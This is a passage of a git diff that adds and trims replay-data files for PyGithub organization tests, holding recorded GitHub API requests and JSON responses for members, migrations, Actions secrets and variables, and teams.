rl":"https://github.com/settings/installations/123456","app_id":10101,"target_id":3344556,"target_type":"User","permissions":{"contents":"write","pull_requests":"write","administration":"read","metadata":"read","statuses":"read"},"events":["push"],"created_at":"2018-07-13T17:59:47.000+03:00","updated_at":"2018-07-13T17:59:47.000+03:00","single_file_name":null}]} \ No newline at end of file +{"total_count":1,"installations":[{"id":123456,"account":{"login":"rigaspapas","id":12345,"node_id":"MDQ6VXNlcjE3NzM2NTI=","avatar_url":"https://avatars1.githubusercontent.com/u/12345?v=4","gravatar_id":"","url":"https://api.github.com/users/rigaspapas","html_url":"https://github.com/rigaspapas","followers_url":"https://api.github.com/users/rigaspapas/followers","following_url":"https://api.github.com/users/rigaspapas/following{/other_user}","gists_url":"https://api.github.com/users/rigaspapas/gists{/gist_id}","starred_url":"https://api.github.com/users/rigaspapas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rigaspapas/subscriptions","organizations_url":"https://api.github.com/users/rigaspapas/orgs","repos_url":"https://api.github.com/users/rigaspapas/repos","events_url":"https://api.github.com/users/rigaspapas/events{/privacy}","received_events_url":"https://api.github.com/users/rigaspapas/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/installations/242638/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/123456","app_id":10101,"target_id":3344556,"target_type":"User","permissions":{"contents":"write","pull_requests":"write","administration":"read","metadata":"read","statuses":"read"},"events":["push"],"created_at":"2018-07-13T17:59:47.000+03:00","updated_at":"2018-07-13T17:59:47.000+03:00","single_file_name":null}]} diff --git a/tests/ReplayData/Organization.testGetIssues.txt b/tests/ReplayData/Organization.testGetIssues.txt index db70ce23dc..cef7e82914 100644 --- a/tests/ReplayData/Organization.testGetIssues.txt +++ b/tests/ReplayData/Organization.testGetIssues.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4981'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '2'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('access-control-allow-credentials', 'true'), ('date', 'Fri, 17 May 2013 11:50:06 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [] - diff --git a/tests/ReplayData/Organization.testGetIssuesWithAllArguments.txt b/tests/ReplayData/Organization.testGetIssuesWithAllArguments.txt index b80482a2c9..6df37ff97e 100644 --- a/tests/ReplayData/Organization.testGetIssuesWithAllArguments.txt +++ b/tests/ReplayData/Organization.testGetIssuesWithAllArguments.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '2'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('access-control-allow-credentials', 'true'), ('date', 'Fri, 17 May 2013 11:50:36 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [] - diff --git a/tests/ReplayData/Organization.testGetMembers.txt b/tests/ReplayData/Organization.testGetMembers.txt index 03f1f42900..e3347ca65e 100644 --- a/tests/ReplayData/Organization.testGetMembers.txt +++ b/tests/ReplayData/Organization.testGetMembers.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '886'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f7f3d1eaa1c0d14d590b09dbb439db2e"'), ('date', 'Sun, 27 May 2012 05:08:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/cjuniet","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","login":"cjuniet","id":1233553},{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},{"url":"https://api.github.com/users/Lyloa","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","login":"Lyloa","id":1131432}] - diff --git a/tests/ReplayData/Organization.testGetMigrations.txt b/tests/ReplayData/Organization.testGetMigrations.txt index 763c55050f..423e9851b0 100644 --- a/tests/ReplayData/Organization.testGetMigrations.txt +++ b/tests/ReplayData/Organization.testGetMigrations.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 13 Sep 2018 15:16:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4908'), ('X-RateLimit-Reset', '1536851865'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"b9e918c8c5de017cdd3f3badb9cd7268"'), ('X-GitHub-Media-Type', 'github.wyandotte-preview; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.107384'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CC2C:1FE2:1A98BC4:31A75CC:5B9A7F32')] [{"id":25311,"node_id":"MDk6TWlncmF0aW9uMjUzMTE=","owner":{"login":"sample-test-organisation","id":43235726,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQzMjM1NzI2","avatar_url":"https://avatars3.githubusercontent.com/u/43235726?v=4","gravatar_id":"","url":"https://api.github.com/users/sample-test-organisation","html_url":"https://github.com/sample-test-organisation","followers_url":"https://api.github.com/users/sample-test-organisation/followers","following_url":"https://api.github.com/users/sample-test-organisation/following{/other_user}","gists_url":"https://api.github.com/users/sample-test-organisation/gists{/gist_id}","starred_url":"https://api.github.com/users/sample-test-organisation/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sample-test-organisation/subscriptions","organizations_url":"https://api.github.com/users/sample-test-organisation/orgs","repos_url":"https://api.github.com/users/sample-test-organisation/repos","events_url":"https://api.github.com/users/sample-test-organisation/events{/privacy}","received_events_url":"https://api.github.com/users/sample-test-organisation/received_events","type":"Organization","site_admin":false},"guid":"2f2dd1be-b767-11e8-917a-8ff981efcc40","state":"exported","lock_repositories":false,"exclude_attachments":false,"repositories":[{"id":148654765,"node_id":"MDEwOlJlcG9zaXRvcnkxNDg2NTQ3NjU=","name":"sample-repo","full_name":"sample-test-organisation/sample-repo","owner":{"login":"sample-test-organisation","id":43235726,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQzMjM1NzI2","avatar_url":"https://avatars3.githubusercontent.com/u/43235726?v=4","gravatar_id":"","url":"https://api.github.com/users/sample-test-organisation","html_url":"https://github.com/sample-test-organisation","followers_url":"https://api.github.com/users/sample-test-organisation/followers","following_url":"https://api.github.com/users/sample-test-organisation/following{/other_user}","gists_url":"https://api.github.com/users/sample-test-organisation/gists{/gist_id}","starred_url":"https://api.github.com/users/sample-test-organisation/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sample-test-organisation/subscriptions","organizations_url":"https://api.github.com/users/sample-test-organisation/orgs","repos_url":"https://api.github.com/users/sample-test-organisation/repos","events_url":"https://api.github.com/users/sample-test-organisation/events{/privacy}","received_events_url":"https://api.github.com/users/sample-test-organisation/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/sample-test-organisation/sample-repo","description":null,"fork":false,"url":"https://api.github.com/repos/sample-test-organisation/sample-repo","forks_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/forks","keys_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/keys{/key_id}","collaborators_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/teams","hooks_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/hooks","issue_events_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues/events{/number}","events_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/events","assignees_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/assignees{/user}","branches_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/branches{/branch}","tags_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/tags","blobs_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/refs{/sha}","trees_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/trees{/sha}","statuses_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/statuses/{sha}","languages_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/languages","stargazers_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/stargazers","contributors_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/contributors","subscribers_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/subscribers","subscription_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/subscription","commits_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/commits{/sha}","git_commits_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/git/commits{/sha}","comments_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/comments{/number}","issue_comment_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues/comments{/number}","contents_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/contents/{+path}","compare_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/compare/{base}...{head}","merges_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/merges","archive_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/downloads","issues_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/issues{/number}","pulls_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/pulls{/number}","milestones_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/milestones{/number}","notifications_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/labels{/name}","releases_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/releases{/id}","deployments_url":"https://api.github.com/repos/sample-test-organisation/sample-repo/deployments","created_at":"2018-09-13T14:59:58Z","updated_at":"2018-09-13T15:10:43Z","pushed_at":"2018-09-13T15:00:00Z","git_url":"git://github.com/sample-test-organisation/sample-repo.git","ssh_url":"git@github.com:sample-test-organisation/sample-repo.git","clone_url":"https://github.com/sample-test-organisation/sample-repo.git","svn_url":"https://github.com/sample-test-organisation/sample-repo","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true}}],"url":"https://api.github.com/orgs/sample-test-organisation/migrations/25311","archive_url":"https://api.github.com/orgs/sample-test-organisation/migrations/25311/archive","created_at":"2018-09-13T20:40:43.000+05:30","updated_at":"2018-09-13T20:40:54.000+05:30"}] - diff --git a/tests/ReplayData/Organization.testGetPublicMembers.txt b/tests/ReplayData/Organization.testGetPublicMembers.txt index 70e8e97a4d..c77929118e 100644 --- a/tests/ReplayData/Organization.testGetPublicMembers.txt +++ b/tests/ReplayData/Organization.testGetPublicMembers.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"867ed1ef11213cc9045509b0fa544132"'), ('date', 'Sun, 27 May 2012 05:07:44 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}] - diff --git a/tests/ReplayData/Organization.testGetSecret.txt b/tests/ReplayData/Organization.testGetSecret.txt new file mode 100644 index 0000000000..427f3f0be9 --- /dev/null +++ b/tests/ReplayData/Organization.testGetSecret.txt @@ -0,0 +1,43 @@ +https +GET +api.github.com +None +/repos/BeaverSoftware/TestPyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"} + +https +GET +api.github.com +None +/repos/BeaverSoftware/FatherBeaver +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"} + +https +GET +api.github.com +None +/orgs/BeaverSoftware/actions/secrets/secret-name +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"name": "secret-name","created_at": "2019-08-10T14:59:22Z","updated_at": "2020-01-10T14:59:22Z","visibility": "selected","selected_repositories_url": "https://api.github.com/orgs/BeaverSoftware/actions/secrets/secret-name/repositories"} + +https +GET +api.github.com +None +/orgs/BeaverSoftware/actions/secrets/secret-name/repositories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"total_count": 2, "repositories": [{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}, {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"}]} diff --git a/tests/ReplayData/Organization.testGetSecrets.txt b/tests/ReplayData/Organization.testGetSecrets.txt new file mode 100644 index 0000000000..762cbccf10 --- /dev/null +++ b/tests/ReplayData/Organization.testGetSecrets.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/orgs/BeaverSoftware/actions/secrets +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"total_count": 1, "secrets": [{"name": "secret-name","created_at": "2019-08-10T14:59:22Z","updated_at": "2020-01-10T14:59:22Z","visibility": "selected","selected_repositories_url": "https://api.github.com/orgs/BeaverSoftware/actions/secrets/secret-name/repositories"}]} diff --git a/tests/ReplayData/Organization.testGetTeamBySlug.txt b/tests/ReplayData/Organization.testGetTeamBySlug.txt index 6f32af7acc..f55ed0681a 100644 --- a/tests/ReplayData/Organization.testGetTeamBySlug.txt +++ b/tests/ReplayData/Organization.testGetTeamBySlug.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-ratelimit-limit', '5000'), ('content-length', '128'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"f93241eaf43847bcf38b352f25595e28"'), ('date', 'Tue, 18 Jun 2019 10:32:13 GMT'), ('content-type', 'application/json; charset=utf-8')] {"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1} - diff --git a/tests/ReplayData/Organization.testGetTeams.txt b/tests/ReplayData/Organization.testGetTeams.txt index 46c4acba3d..27e5a919c4 100644 --- a/tests/ReplayData/Organization.testGetTeams.txt +++ b/tests/ReplayData/Organization.testGetTeams.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '150'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"43d7c883d1cb7d50a08d2c189550023c"'), ('date', 'Sun, 27 May 2012 05:13:46 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/teams/141496","name":"Members","id":141496},{"url":"https://api.github.com/teams/141487","name":"Owners","id":141487}] - diff --git a/tests/ReplayData/Organization.testGetVariable.txt b/tests/ReplayData/Organization.testGetVariable.txt new file mode 100644 index 0000000000..fdef0e854c --- /dev/null +++ b/tests/ReplayData/Organization.testGetVariable.txt @@ -0,0 +1,43 @@ +https +GET +api.github.com +None +/repos/BeaverSoftware/TestPyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"} + +https +GET +api.github.com +None +/repos/BeaverSoftware/FatherBeaver +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4ecd2c151a469cfa6cd45e6beff1269b"'), ('date', 'Fri, 01 Jun 2012 19:40:56 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"} + +https +GET +api.github.com +None +/orgs/BeaverSoftware/actions/variables/variable-name +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"name": "variable-name","value": "variable-value123","created_at": "2019-08-10T14:59:22Z","updated_at": "2020-01-10T14:59:22Z","visibility": "selected","selected_repositories_url": "https://api.github.com/orgs/BeaverSoftware/actions/variables/variable-name/repositories"} + +https +GET +api.github.com +None +/orgs/BeaverSoftware/actions/variables/variable-name/repositories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"total_count": 2, "repositories": [{"clone_url":"https://github.com/BeaverSoftware/TestPyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/TestPyGithub.git","updated_at":"2012-04-25T06:51:38Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","has_wiki":true,"has_pages":false,"has_issues":false,"fork":false,"forks":0,"mirror_url":null,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/TestPyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"TestPyGithub","language":null,"description":"Guinea-pig for PyGithub 